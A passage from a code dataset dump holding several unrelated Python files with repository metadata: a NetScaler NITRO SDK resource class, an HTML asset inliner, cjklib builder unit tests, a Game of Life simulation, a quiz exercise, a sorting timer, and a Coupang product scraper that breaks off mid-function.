resource[i].id\n\t\t\t\tresult = cls.delete_bulk_request(client, deleteresources)\n\t\t\treturn result\n\t\texcept Exception as e :\n\t\t\traise e\n\n\t@classmethod\n\tdef update(cls, client, resource) :\n\t\tr\"\"\" Use this API to update bridgegroup.\n\t\t\"\"\"\n\t\ttry :\n\t\t\tif type(resource) is not list :\n\t\t\t\tupdateresource = bridgegroup()\n\t\t\t\tupdateresource.id = resource.id\n\t\t\t\tupdateresource.dynamicrouting = resource.dynamicrouting\n\t\t\t\tupdateresource.ipv6dynamicrouting = resource.ipv6dynamicrouting\n\t\t\t\treturn updateresource.update_resource(client)\n\t\t\telse :\n\t\t\t\tif (resource and len(resource) > 0) :\n\t\t\t\t\tupdateresources = [ bridgegroup() for _ in range(len(resource))]\n\t\t\t\t\tfor i in range(len(resource)) :\n\t\t\t\t\t\tupdateresources[i].id = resource[i].id\n\t\t\t\t\t\tupdateresources[i].dynamicrouting = resource[i].dynamicrouting\n\t\t\t\t\t\tupdateresources[i].ipv6dynamicrouting = resource[i].ipv6dynamicrouting\n\t\t\t\tresult = cls.update_bulk_request(client, updateresources)\n\t\t\treturn result\n\t\texcept Exception as e :\n\t\t\traise e\n\n\t@classmethod\n\tdef unset(cls, client, resource, args) :\n\t\tr\"\"\" Use this API to unset the properties of bridgegroup resource.\n\t\tProperties that need to be unset are specified in args array.\n\t\t\"\"\"\n\t\ttry :\n\t\t\tif type(resource) is not list :\n\t\t\t\tunsetresource = bridgegroup()\n\t\t\t\tif type(resource) !=  type(unsetresource):\n\t\t\t\t\tunsetresource.id = resource\n\t\t\t\telse :\n\t\t\t\t\tunsetresource.id = resource.id\n\t\t\t\treturn unsetresource.unset_resource(client, args)\n\t\t\telse :\n\t\t\t\tif type(resource[0]) != cls :\n\t\t\t\t\tif (resource and len(resource) > 0) :\n\t\t\t\t\t\tunsetresources = [ bridgegroup() for _ in range(len(resource))]\n\t\t\t\t\t\tfor i in range(len(resource)) :\n\t\t\t\t\t\t\tunsetresources[i].id = resource[i]\n\t\t\t\telse :\n\t\t\t\t\tif (resource and len(resource) > 0) :\n\t\t\t\t\t\tunsetresources = [ bridgegroup() for _ in range(len(resource))]\n\t\t\t\t\t\tfor i in range(len(resource)) :\n\t\t\t\t\t\t\tunsetresources[i].id = resource[i].id\n\t\t\t\tresult = cls.unset_bulk_request(client, unsetresources, args)\n\t\t\treturn result\n\t\texcept Exception as e :\n\t\t\traise e\n\n\t@classmethod\n\tdef get(cls, client, name=\"\", option_=\"\") :\n\t\tr\"\"\" Use this API to fetch all the bridgegroup resources that are configured on netscaler.\n\t\t\"\"\"\n\t\ttry :\n\t\t\tif not name :\n\t\t\t\tobj = bridgegroup()\n\t\t\t\tresponse = obj.get_resources(client, option_)\n\t\t\telse :\n\t\t\t\tif type(name) is not list :\n\t\t\t\t\tif type(name) == cls :\n\t\t\t\t\t\traise Exception('Invalid parameter name:{0}'.format(type(name)))\n\t\t\t\t\tobj = bridgegroup()\n\t\t\t\t\tobj.id = name\n\t\t\t\t\tresponse = obj.get_resource(client, option_)\n\t\t\t\telse :\n\t\t\t\t\tif name and len(name) > 0 :\n\t\t\t\t\t\tif type(name[0]) == cls :\n\t\t\t\t\t\t\traise Exception('Invalid parameter name:{0}'.format(type(name[0])))\n\t\t\t\t\t\tresponse = [bridgegroup() for _ in range(len(name))]\n\t\t\t\t\t\tobj = [bridgegroup() for _ in range(len(name))]\n\t\t\t\t\t\tfor i in range(len(name)) :\n\t\t\t\t\t\t\tobj[i] = bridgegroup()\n\t\t\t\t\t\t\tobj[i].id = name[i]\n\t\t\t\t\t\t\tresponse[i] = obj[i].get_resource(client, option_)\n\t\t\treturn response\n\t\texcept Exception as e :\n\t\t\traise e\n\n\n\t@classmethod\n\tdef get_filtered(cls, client, filter_) :\n\t\tr\"\"\" Use this API to fetch filtered set of bridgegroup resources.\n\t\tfilter string should be in JSON format.eg: \"port:80,servicetype:HTTP\".\n\t\t\"\"\"\n\t\ttry :\n\t\t\tobj = bridgegroup()\n\t\t\toption_ = options()\n\t\t\toption_.filter = filter_\n\t\t\tresponse = obj.getfiltered(client, option_)\n\t\t\treturn response\n\t\texcept Exception as e :\n\t\t\traise e\n\n\n\t@classmethod\n\tdef count(cls, client) :\n\t\tr\"\"\" Use this API to count the bridgegroup resources configured on NetScaler.\n\t\t\"\"\"\n\t\ttry :\n\t\t\tobj = bridgegroup()\n\t\t\toption_ = options()\n\t\t\toption_.count = True\n\t\t\tresponse = obj.get_resources(client, option_)\n\t\t\tif response :\n\t\t\t\treturn response[0].__dict__['___count']\n\t\t\treturn 0\n\t\texcept Exception as e :\n\t\t\traise e\n\n\t@classmethod\n\tdef count_filtered(cls, client, filter_) :\n\t\tr\"\"\" Use this API to count filtered the set of bridgegroup resources.\n\t\tFilter string should be in JSON format.eg: \"port:80,servicetype:HTTP\".\n\t\t\"\"\"\n\t\ttry :\n\t\t\tobj = bridgegroup()\n\t\t\toption_ = options()\n\t\t\toption_.count = True\n\t\t\toption_.filter = filter_\n\t\t\tresponse = obj.getfiltered(client, option_)\n\t\t\tif response :\n\t\t\t\treturn response[0].__dict__['___count']\n\t\t\treturn 0\n\t\texcept Exception as e :\n\t\t\traise e\n\n\n\tclass Ipv6dynamicrouting:\n\t\tENABLED = \"ENABLED\"\n\t\tDISABLED = \"DISABLED\"\n\n\tclass Dynamicrouting:\n\t\tENABLED = \"ENABLED\"\n\t\tDISABLED = \"DISABLED\"\n\nclass bridgegroup_response(base_response) :\n\tdef __init__(self, length=1) :\n\t\tself.bridgegroup = []\n\t\tself.errorcode = 0\n\t\tself.message = \"\"\n\t\tself.severity = \"\"\n\t\tself.sessionid = \"\"\n\t\tself.bridgegroup = [bridgegroup() for _ in range(length)]\n\n","repo_name":"MayankTahil/nitro-ide","sub_path":"nitro-python-1.0/nssrc/com/citrix/netscaler/nitro/resource/config/network/bridgegroup.py","file_name":"bridgegroup.py","file_ext":"py","file_size_in_byte":10834,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"19"}
{"seq_id":"70630574442","text":"#!/usr/bin/env python3\nfrom sys import argv\nfrom bs4 import BeautifulSoup\nfrom urllib.parse import unquote\nfrom base64 import b64encode\nfrom mimetypes import guess_type\n\n\nwith open(argv[1]) as file_pointer:\n    soup = BeautifulSoup(file_pointer, features=\"lxml\")\n\n# remove Content Security Policy meta tag to allow inlining, specifically\n# made for Firefox saved pages in readability mode\nfor meta_tag in soup.head.select('meta'):\n    attributes = meta_tag.attrs\n    if \"http-equiv\" in attributes and attributes[\"http-equiv\"] == \"Content-Security-Policy\":\n        meta_tag.extract()\n\n# replace link rel=\"stylesheet\" with embedded stylesheet\nfor link_tag in soup.head.select('link'):\n    attributes = link_tag.attrs\n    if \"rel\" in attributes and attributes['rel'][0] == 'stylesheet':\n        relative_stylesheet_location = unquote(link_tag.attrs['href'])\n        with open(relative_stylesheet_location) as stylesheet_file:\n            stylesheet = stylesheet_file.read()\n\n        # remove link tag\n        link_tag.extract()\n\n        style_tag = soup.new_tag(\"style\", type=\"text/css\")\n        style_tag.string = stylesheet\n        soup.head.append(style_tag)\n\n# replace images with inline base64 encoded images\nfor image_tag in soup.body.select('img'):\n    relative_image_location = unquote(image_tag.attrs['src'])\n    with open(relative_image_location, 'rb') as image_file:\n        image_binary = image_file.read()\n\n    # Only detect IANA registered mimetypes\n    image_mimetype = guess_type(relative_image_location, strict=True)[0]\n    inlined_image_src = \"data:%s;base64,%s\" % (image_mimetype, b64encode(image_binary).decode('UTF-8'))\n    \n    image_tag.attrs['src'] = inlined_image_src\n\noutput_file_name = argv[2] if len(argv) == 1 else 'inlined.html'\nwith open(output_file_name, 'w') as output_file:\n    output_file.write(str(soup))\n","repo_name":"grooveadelic/asset-inliner","sub_path":"inline.py","file_name":"inline.py","file_ext":"py","file_size_in_byte":1838,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"}
{"seq_id":"1710705780","text":"#!/usr/bin/python\n# -*- coding: utf-8 -*-\n# This file is part of cjklib.\n#\n# cjklib is free software: you can redistribute it and/or modify\n# it under the terms of the GNU Lesser General Public License as published by\n# the Free Software Foundation, either version 3 of the License, or\n# (at your option) any later version.\n#\n# cjklib is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n# GNU Lesser General Public License for more details.\n#\n# You should have received a copy of the GNU Lesser General Public License\n# along with cjklib.  If not, see <http://www.gnu.org/licenses/>.\n\n\"\"\"\nUnit tests for :mod:`cjklib.build.builder`.\n\"\"\"\n\n# pylint: disable-msg=E1101\n#  testcase attributes and methods are only available in concrete classes\n\nimport unittest\nimport types\nimport re\nimport os.path\n\nfrom sqlalchemy import Table\n\nfrom cjklib.build import DatabaseBuilder, builder\nfrom cjklib import util\n\nclass TableBuilderTest:\n    \"\"\"\n    Base class for testing of :class:`~cjklib.build.builder.TableBuilder`\n    classes.\n    \"\"\"\n    BUILDER = None\n    \"\"\"Builder class object.\"\"\"\n\n    PREFER_BUILDERS = []\n    \"\"\"Builders of depending tables to prefer.\"\"\"\n\n    DATABASES = [\n        'sqlite://', # SQLite in-memory database\n        #'mysql:///cjklib_unittest?charset=utf8', # see below\n        ]\n    \"\"\"\n    Databases to test.\n\n    MySQL by default is disabled. Run the following as admin before you enable\n    it:\n    CREATE DATABASE cjklib_unittest DEFAULT CHARACTER SET utf8 COLLATE utf8_bin;\n    You might need to give appropriate rights to the user:\n    GRANT ALL ON cjklib_unittest.* TO 'user_name'@'host_name';\n    \"\"\"\n\n    EXTERNAL_DATA_PATHS = []\n    \"\"\"Data paths for external files.\"\"\"\n\n    OPTIONS = []\n    \"\"\"Sets of options for the builder.\"\"\"\n\n    TABLE_DEPEND_OPTIONS = []\n    \"\"\"\n    Tuples of options for other builders the current tested builder depends on.\n    \"\"\"\n\n    def setUp(self):\n        prefer = [self.BUILDER]\n        prefer.extend(self.PREFER_BUILDERS)\n\n        self.dataPath = self.EXTERNAL_DATA_PATHS[:]\n        self.dataPath.append(util.getDataPath())\n        self.dataPath.append(os.path.join('.', 'test'))\n        self.dataPath.append(os.path.join('.', 'test', 'downloads'))\n\n        self.dbInstances = {}\n        for databasePath in self.DATABASES:\n            self.dbInstances[databasePath] = DatabaseBuilder(quiet=True,\n                databaseUrl=databasePath, dataPath=self.dataPath, prefer=prefer,\n                rebuildExisting=True, noFail=False)\n            # make sure we don't get a production db instance\n            tables = self.dbInstances[databasePath].db.engine.table_names()\n            assert len(tables) == 0, \"Database is not empty: '%s'\" \\\n                % \"', '\".join(tables)\n\n    def tearDown(self):\n        for databasePath in self.DATABASES:\n            tables = self.dbInstances[databasePath].db.engine.table_names()\n            for tableName in tables:\n                table = Table(tableName,\n                    self.dbInstances[databasePath].db.metadata)\n                table.drop()\n\n    def shortDescription(self):\n        methodName = getattr(self, self.id().split('.')[-1])\n        # get whole doc string and remove superfluous white spaces\n        noWhitespaceDoc = re.sub('\\s+', ' ', methodName.__doc__.strip())\n        # remove markup for epytext format\n        clearName = re.sub('[CL]\\{([^\\}]*)}', r'\\1', noWhitespaceDoc)\n        # add information about conversion direction\n        return clearName + ' (for %s)' % self.BUILDER.__name__\n\n    def testBuild(self):\n        \"\"\"Test if build finishes successfully.\"\"\"\n        optionSets = self.OPTIONS[:]\n        for databasePath in self.dbInstances:\n            for options in optionSets:\n                myOptions = options.copy()\n                if 'dataPath' not in myOptions:\n                    myOptions['dataPath'] = self.dataPath\n                assert('quiet' not in myOptions)\n                myOptions['quiet'] = True\n                self.dbInstances[databasePath].setBuilderOptions(self.BUILDER,\n                    myOptions, exclusive=True)\n\n                # set options for builders we depend on\n                for builder, dependOptions in self.TABLE_DEPEND_OPTIONS:\n                    self.dbInstances[databasePath].setBuilderOptions(builder,\n                        dependOptions)\n\n                # catch keyboard interrupt to cleanly close\n                try:\n                    self.dbInstances[databasePath].build(\n                        [self.BUILDER.PROVIDES])\n\n                    # make sure table exists (others might have been created)\n                    tables = set(\n                        self.dbInstances[databasePath].db.getTableNames())\n                    self.assert_(self.BUILDER.PROVIDES in tables,\n                        \"Table '%s' not found in '%s'\" \\\n                            % (self.BUILDER.PROVIDES, \"', '\".join(tables)))\n                    # make sure depends are removed\n                    self.assert_(len(tables & set(self.BUILDER.DEPENDS)) == 0)\n                except KeyboardInterrupt:\n                    try:\n                        # remove temporary tables\n                        self.dbInstances[databasePath].clearTemporary()\n                        # remove built table\n                        self.dbInstances[databasePath].remove(\n                            [self.BUILDER.PROVIDES])\n                    except KeyboardInterrupt:\n                        import sys\n                        print >> sys.stderr, \\\n                            \"Interrupted while cleaning temporary tables\"\n                        raise\n                    raise\n\n\n                self.dbInstances[databasePath].remove(\n                    [self.BUILDER.PROVIDES])\n\n                tables = self.dbInstances[databasePath].db.getTableNames()\n                self.assert_(len(tables) == 0)\n\n\n#class TableBuilderTestCaseCheck(unittest.TestCase):\n    #\"\"\"\n    #Checks if every :class:`~cjklib.build.builder.TableBuilder` has its own\n    #:class:`~cjklib.test.build.TableBuilderTest`.\n    #\"\"\"\n    #def testEveryBuilderHasTest(self):\n        #\"\"\"\n        #Check if every builder has a test case.\n        #\"\"\"\n        #testClasses = self.getTableBuilderTestClasses()\n        #testClassBuilders = [clss.BUILDER for clss in testClasses]\n\n        #for clss in DatabaseBuilder.getTableBuilderClasses(\n            #resolveConflicts=False):\n            #self.assert_(clss in testClassBuilders,\n                #\"'%s' has no TableBuilderTest\" % clss.__name__)\n\n    #@staticmethod\n    #def getTableBuilderTestClasses():\n        #\"\"\"\n        #Gets all classes implementing :class:`~cjklib.test.build.TableBuilderTest`.\n\n        #@rtype: list\n        #@return: list of all classes inheriting form :class:`~cjklib.test.build.TableBuilderTest`\n        #\"\"\"\n        ## get all non-abstract classes that inherit from TableBuilderTest\n        #testModule = __import__(\"cjklib.test.build\")\n        #testClasses = [clss for clss \\\n            #in testModule.test.build.__dict__.values() \\\n            #if type(clss) == types.TypeType \\\n            #and issubclass(clss, TableBuilderTest) \\\n            #and clss.BUILDER]\n\n        #return testClasses\n\n\nclass UnihanBuilderTest(TableBuilderTest, unittest.TestCase):\n    # don't do a wide build for MySQL, which has no support for > BMP\n    def removeMySQL(databaseUrls):\n        return [url for url in databaseUrls if not url.startswith('mysql://')]\n\n    BUILDER = builder.UnihanBuilder\n    DATABASES = removeMySQL(TableBuilderTest.DATABASES)\n    OPTIONS = [{'wideBuild': False}, {'wideBuild': True},\n        {'slimUnihanTable': True}]\n\n\nclass MysqlUnihanBuilderTest(TableBuilderTest, unittest.TestCase):\n    # don't do a wide build for MySQL, which has no support for > BMP\n    def filterMySQL(databaseUrls):\n        return [url for url in databaseUrls if url.startswith('mysql://')]\n\n    BUILDER = builder.UnihanBuilder\n    DATABASES = filterMySQL(TableBuilderTest.DATABASES)\n    OPTIONS = [{'wideBuild': False, 'slimUnihanTable': True}]\n\n\nclass Kanjidic2BuilderTest(TableBuilderTest, unittest.TestCase):\n    # don't do a wide build for MySQL, which has no support for > BMP\n    def removeMySQL(databaseUrls):\n        return [url for url in databaseUrls if not url.startswith('mysql://')]\n\n    BUILDER = builder.Kanjidic2Builder\n    DATABASES = removeMySQL(TableBuilderTest.DATABASES)\n    OPTIONS = [{'wideBuild': False}, {'wideBuild': True}]\n\n\nclass MysqlKanjidic2BuilderTest(TableBuilderTest, unittest.TestCase):\n    # don't do a wide build for MySQL, which has no support for > BMP\n    def filterMySQL(databaseUrls):\n        return [url for url in databaseUrls if url.startswith('mysql://')]\n\n    BUILDER = builder.Kanjidic2Builder\n    DATABASES = filterMySQL(TableBuilderTest.DATABASES)\n    OPTIONS = [{'wideBuild': False}]\n\n\nclass CharacterVariantBuilderTest(TableBuilderTest, unittest.TestCase):\n    # don't do a wide build for MySQL, which has no support for > BMP\n    def removeMySQL(databaseUrls):\n        return [url for url in databaseUrls if not url.startswith('mysql://')]\n\n    BUILDER = builder.CharacterVariantBuilder\n    DATABASES = removeMySQL(TableBuilderTest.DATABASES)\n    OPTIONS = [{'wideBuild': False}, {'wideBuild': True}]\n\n\nclass MysqlCharacterVariantBuilderTest(TableBuilderTest, unittest.TestCase):\n    # don't do a wide build for MySQL, which has no support for > BMP\n    def filterMySQL(databaseUrls):\n        return [url for url in databaseUrls if url.startswith('mysql://')]\n\n    BUILDER = builder.CharacterVariantBuilder\n    DATABASES = filterMySQL(TableBuilderTest.DATABASES)\n    OPTIONS = [{'wideBuild': False}]\n    TABLE_DEPEND_OPTIONS = [(builder.UnihanBuilder, {'wideBuild': False})]\n\n\nclass EDICTBuilderTest(TableBuilderTest, unittest.TestCase):\n    BUILDER = builder.EDICTBuilder\n    OPTIONS = [{'enableFTS3': False},\n        {'filePath': './test/downloads/EDICT', 'fileType': '.gz'}]\n\n\nclass CEDICTBuilderTest(TableBuilderTest, unittest.TestCase):\n    BUILDER = builder.CEDICTBuilder\n    OPTIONS = [{'enableFTS3': False},\n        {'filePath': './test/downloads/CEDICT', 'fileType': '.gz'}]\n\n\nclass CEDICTGRBuilderTest(TableBuilderTest, unittest.TestCase):\n    BUILDER = builder.CEDICTGRBuilder\n    OPTIONS = [{'enableFTS3': False},\n        {'filePath': './test/downloads/CEDICTGR', 'fileType': '.zip'}]\n\n\nclass HanDeDictBuilderTest(TableBuilderTest, unittest.TestCase):\n    BUILDER = builder.HanDeDictBuilder\n    OPTIONS = [{'enableFTS3': False},\n        {'filePath': './test/downloads/HanDeDict', 'fileType': '.tar.bz2'}]\n\n\nclass CFDICTBuilderTest(TableBuilderTest, unittest.TestCase):\n    BUILDER = builder.CFDICTBuilder\n    OPTIONS = [{'enableFTS3': False},\n        {'filePath': './test/downloads/CFDICT', 'fileType': '.zip'}]\n\n\n# Generate default test classes for TableBuilder without special definitions\nfor builderClass in DatabaseBuilder.getTableBuilderClasses(\n    resolveConflicts=False):\n    testClassName = '%sTest' % builderClass.__name__\n    if testClassName not in globals():\n        globals()[testClassName] = types.ClassType(testClassName,\n            (TableBuilderTest, unittest.TestCase), {'BUILDER': builderClass})\n    del testClassName","repo_name":"cburgmer/cjklib","sub_path":"cjklib/test/build.py","file_name":"build.py","file_ext":"py","file_size_in_byte":11328,"program_lang":"python","lang":"en","doc_type":"code","stars":139,"dataset":"github-code","pt":"19"}
{"seq_id":"22871480664","text":"import numpy as np # hay que instalar numpy a parte con pip3 o algo similar\r\nfrom random import random\r\nimport matplotlib.cm as cm\r\nimport matplotlib.pyplot as plt\r\n\r\ndim = 20\r\nnum = dim**2\r\n#valores = [round(random()) for i in range(num)]\r\n# Población aleatoria con Distribución de probabilidad de 0.1 <= x <= 0.9;\r\n# Aumenta de 0.1 en 0.1\r\nvalores = [0] * num\r\nvalAnterior = [0] * num\r\nvalNuevo = [0] * num\r\nprob=0.1\r\nfor t in range(num):\r\n    if random()<prob:\r\n        valores[t]=1\r\n    prob +=0.1\r\n    if(prob>=1):\r\n        prob=0.1\r\n\r\nactual = np.reshape(valores, (dim, dim))\r\nanterior = np.reshape(valores, (dim, dim))\r\ncontador = np.reshape(valAnterior, (dim, dim))\r\n\r\n\r\ndef mapeo(pos):\r\n    fila = pos // dim\r\n    columna = pos % dim\r\n    return actual[fila, columna]\r\n\r\nassert all([mapeo(x) == valores[x]  for x in range(num)])\r\n\r\ndef paso(pos):\r\n    fila = pos // dim\r\n    columna = pos % dim\r\n    vecindad = actual[max(0, fila - 1):min(dim, fila + 2),\r\n                      max(0, columna - 1):min(dim, columna + 2)]\r\n    return 1 * (np.sum(vecindad) - actual[fila, columna] == 3)\r\n\r\nprint(actual)\r\n# Función para contabilizar cuando una celda sigue viva, un contador de matrices\r\ndef conteo(matAnt, matNueva):\r\n    for i in range(dim):\r\n        for j in range(dim):\r\n            if(matAnt[i-1,j-1]== matNueva[i-1,j-1] ==1):\r\n                contador[i-1,j-1]= contador[i-1,j-1]+1\r\n            else:\r\n                contador[i, j] =0\r\n    return np.amax(contador)\r\n\r\nif __name__ == \"__main__\":\r\n    fig = plt.figure()\r\n    plt.imshow(actual, interpolation='nearest', cmap=cm.Greys)\r\n    fig.suptitle('Estado inicial')\r\n    plt.savefig('p2_t0_p.png')\r\n    plt.close()\r\n    maximo=0\r\n    maximoAbsoluto=0\r\n    for iteracion in range(50):\r\n        print(\"Iter\", iteracion)\r\n        valores = [paso(x) for x in range(num)]\r\n        vivos = sum(valores)\r\n        print(iteracion, vivos)\r\n        if vivos == 0:\r\n            print('# Ya no queda nadie vivo.')\r\n            break;\r\n        actual = np.reshape(valores, (dim, dim))\r\n        print(actual)\r\n        maximo= conteo(anterior, actual)\r\n        if(maximoAbsoluto<maximo):\r\n            maximoAbsoluto=maximo\r\n        print('Maximo Relativo ', maximo)\r\n        # Copia el arreglo actual en el anterior\r\n        for i in range(dim):\r\n            for j in range(dim):\r\n                anterior[i - 1, j - 1] = actual[i - 1, j - 1]\r\n        #anterior = [x[:] for x in actual]\r\n        fig = plt.figure()\r\n        plt.imshow(actual, interpolation='nearest', cmap=cm.Greys)\r\n        fig.suptitle('Paso {:d}'.format(iteracion + 1))\r\n        plt.savefig('p2_t{:d}_p.png'.format(iteracion + 1))\r\n        plt.close()\r\n    print('Maximo Absoluto ', maximoAbsoluto)\r\n# para crear un GIF, se puede usar ImageMagick con\r\n# convert -delay 100 -size 300x300 -loop 0 p2_t*.png p2p.gif","repo_name":"Julio-Garcia-Garcia/Simulacion","sub_path":"practicados.py","file_name":"practicados.py","file_ext":"py","file_size_in_byte":2836,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"}
{"seq_id":"27345216971","text":"###################################\n#\n# 100 Days of code bootcamp 2021\n# (Udemy course by Angela Yu)\n# \n# Day 17 project - Christopher Hagan\n#\n###################################\n\nclass QuizBrain:\n\n    def __init__(self, list_of_questions):\n        self.question_number = 0\n        self.score = 0\n        self.question_list = list_of_questions\n \n    def still_has_questions(self):\n        return self.question_number < len(self.question_list)\n\n    def next_question(self):\n        valid_guess = False\n        while not valid_guess:\n            user_guess = input('Q.{}: {} (True/False)?: '.format(\n                                                                self.question_number + 1, \n                                                                self.question_list[self.question_number].text,\n                                                                )).lower()\n            if user_guess in ['true', 'false', 't', 'f']:\n                valid_guess = True\n        self.check_answer(user_guess, self.question_list[self.question_number].answer)\n        self.question_number += 1\n        \n    def check_answer(self, user_guess, answer):\n        if user_guess.startswith(answer[0].lower()):\n            print('Congratulations, you got that one right')\n            self.score += 1\n        else:\n            print('Nope, that\\'s wrong, the correct answer was {}.'.format(answer))\n        print('Your current score is {}/{}\\n\\n'.format(self.score, self.question_number + 1))\n","repo_name":"chagan1985/100DaysOfCode","sub_path":"Day17/quiz_brain.py","file_name":"quiz_brain.py","file_ext":"py","file_size_in_byte":1480,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"19"}
{"seq_id":"10504800152","text":"# I/P -> Write main function to call the utility function\n# Logic -> Check using Stopwatch the Elapsed Time for every method call\n# O/P -> Output the Search and Sorted List. More importantly print elapsed time\n# performance in descending order\n\n\nimport StopWatchMethodCallBL as sw\narr=[]\nnum =int(input(\"enter the size= \"))            \nfor i in range(num):\n    n=int(input(\"enter the element= \"))\n    arr.append(n)\n    arr_copy=arr.copy()\n\ntime1=sw.bubblesort(arr,len(arr))\nprint(\"the sorted array is =\",arr)\n\nsearch_num=int(input(\"enter the number to search for in the array= \"))\ntime2=sw.binarysearch(arr_copy,search_num)\nsw.my_list.sort(reverse=True)\nprint(sw.my_list)\n","repo_name":"addyp1911/Python-week-1-2-3","sub_path":"python/Algorithms/StopWatchMethodCall/StopWatchMethodCall.py","file_name":"StopWatchMethodCall.py","file_ext":"py","file_size_in_byte":672,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"}
{"seq_id":"29569701620","text":"import re\nimport scrapy\nimport asyncio\nfrom playwright.async_api import async_playwright\nfrom mi.items import HiLabMIItem\nfrom mi.spiders.hiaas_common import HiaasCommon\nfrom scrapy.utils.project import get_project_settings\n\nclass CoupangCombineSpider(HiaasCommon):\n    name = \"coupang_combine\"\n    start_urls = [\"data:,\"]  # avoid using the default Scrapy downloader\n    custom_settings = {\n        'TWISTED_REACTOR' : \"twisted.internet.asyncioreactor.AsyncioSelectorReactor\",\n        # 'ITEM_PIPELINES' : None    \n    }\n\n    marketType = \"coupang\"\n    \n    async def parse(self, response):\n\n        settings = get_project_settings()\n        KEYWORD_LIST = settings.get('KEYWORD_LIST')\n        COUPANG_CRAWL_DELAY = settings.get('COUPANG_CRAWL_DELAY')\n        COUPANG_LISTSIZE = settings.get('COUPANG_LISTSIZE')\n        COUPANG_PAGE_COUNT = settings.get('COUPANG_PAGE_COUNT')\n        COUPANG_SORTER = settings.get('COUPANG_SORTER')\n\n        async with async_playwright() as pw:\n            browser = await pw.firefox.launch()\n            page = await browser.new_page()\n            \n            for keyword in KEYWORD_LIST:\n                for pagenum in range(1, COUPANG_PAGE_COUNT):\n                    search_link = f'https://www.coupang.com/np/search?rocketAll=false&q={keyword}&brand=&offerCondition=&filter=&availableDeliveryFilter=&filterType=&isPriceRange=false&priceRange=&minPrice=&maxPrice=&page={pagenum}&trcid=&traid=&filterSetByUser=true&channel=recent&backgroundColor=&searchProductCount=1857217&component=&rating=0&sorter={COUPANG_SORTER}&listSize={COUPANG_LISTSIZE}'\n                    await page.goto(search_link)\n                    await asyncio.sleep(COUPANG_CRAWL_DELAY)\n\n                    locators = page.locator('ul.search-product-list> li > a.search-product-link')\n                    count = await locators.count()\n\n                    for i in range(count):\n                        locator = locators.nth(i)\n                        href = await locator.get_attribute('href')\n                        detail_link = 'https://www.coupang.com' + href\n                        if 'sourceType=srp_product_ads' in href:\n                            ad = 'ad'\n                        else:\n                            ad = None\n                        \n                        yield scrapy.Request(url=detail_link, callback=self.parse_detail, meta=dict(\n                            ad = ad,\n                            sk = keyword\n                        ))\n\n            await browser.close()\n\n    def parse_detail(self, response):\n        try:\n\n            item = HiLabMIItem()\n\n            # 마켓 타입 (ex. naver, coupang)\n            item['mid'] = self.marketType\n\n            # collection type (1:키워드, 2:카테고리)\n            item['ctype'] = 1\n\n            # 상세페이지 링크\n            item['detail_link'] = response.url\n\n            # 순위\n            item['rank'] = int(response.url.split('&rank=')[1])\n\n            # 광고 여부\n            item['ad'] = response.meta.get('ad')\n\n            ## 카테고리 -> javascript\n            # item['pr1ca'] = response.css('ul#breadcrumb a::text').getall()\n            #for category in response.css('#breadcrumb > li'):\n                #item['pr2ca'] = category.css('a::text').getall()\n            \n            ## 정렬기준\n            # if \"scoreDesc\" in url_page:\n            #     item['sb'] = \"쿠팡 랭킹순\"  \n            # elif \"salePriceAsc\" in url_page:\n            #     item['sb'] = \"낮은가격순\"\n            # elif \"salePriceDesc\" in url_page:\n            #     item['sb'] = \"높은가격순\"\n            # elif \"saleCountDesc\" in url_page:\n            #     item['sb'] = \"판매량순\"\n            # elif \"latestAsc\" in url_page:\n            #     item['sb'] = \"최신순\"\n\n            ## 총 제품 수: 해당없음\n            #item['prco']\n\n            # 제품명\n            pr1nm = response.css('h2.prod-buy-header__title::text').get()\n            item['pr1nm'] = pr1nm\n\n            # 가격\n            pr1pr = response.css('span.total-price > strong::text').get()\n            if pr1pr is not None:\n                item['pr1pr'] = int(pr1pr.replace(',', ''))\n            else:\n                item['pr1pr'] = pr1pr\n\n            ## 판매자\n            #item['ta'] = response.xpath('//*[@id=\"btfTab\"]/ul[2]/li[4]/div/table/tbody/tr[1]/td[1]').get()    # 판매자(상호/대표자)(?) - javascript\n            #if response.xpath('//*[@id=\"btfTab\"]/ul[2]/li[4]/div/table/tbody/tr[1]/td[1]').get() is None:\n            #    item['ta'] = response.xpath('//*[@id=\"btfTab\"]/ul[2]/li[4]/div/table/tbody/tr/td/text()')    # 판매자(쿠팡)(?) - javascript\n            ##//*[@id=\"btfTab\"]/ul[2]/li[4]/div/table/tbody/tr[1]/td[1] -> '상호/대표자'가 있을 때 xpath\n            ##//*[@id=\"btfTab\"]/ul[2]/li[4]/div/table/tbody/tr/td/text() -> '쿠팡'일 때 xpath\n\n            # 평점\n            gr = re.sub(r'[^0-9.]', '', str(response.css('span.rating-star-num::attr(style)').get()))\n            item['gr'] = float(gr) / 100 * 5\n\n            # 리뷰개수\n            item['revco'] = int(re.sub(r'[^0-9]', '', str(response.css('span.count::text').get())))\n\n            ## 할인정보\n            ##item['dcinfo'] = response.css('span.discount-rate::text').get().replace(\"\\n\",\"\").replace(\" \",\"\").replace(\"%\",\"\")\n            ##if item['dcinfo'] != \"\":\n            ##    item['dcinfo'] = response.css('span.discount-rate::text').get().replace(\"\\n\",\"\").replace(\" \",\"\")\n            #******************************************************************************************************************************\n            # dcinfo = response.css('span.discount-rate::text').get()   # 할인정보: 할인율과 가져오는 정보가 동일하여 일단은 할인율을 가져오고 할인정보는 수집 보류\n            # if dcinfo is None:\n            #     item['dcinfo'] = None\n            # elif dcinfo.strip() == \"%\":\n            #     item['dcinfo'] = None\n            # else:\n            #     item['dcinfo'] = dcinfo.strip()\n\n            # 무료배송 유무\n            ts = response.css('div.prod-shipping-fee-message > span > em.prod-txt-bold::text').get()\n            item['ts'] = ts == \"무료배송\"\n\n            # 도착 예정일자\n            # 로켓 아니고, 도착예정일자 전화/문자로 안내\n            ardate = response.css('em.prod-txt-onyx.prod-txt-bold::text').get()\n            if ardate is None:\n                # 로켓 아닐 때 도착예정일자\n                ardate = response.css('em.prod-txt-onyx.prod-txt-font-14::text').get()     \n                if ardate is None:\n                    # 로켓 아닐 때 도착예정일자2\n                    ardate = response.css('em.prod-txt-onyx::text').get()\n                    if ardate is None:\n        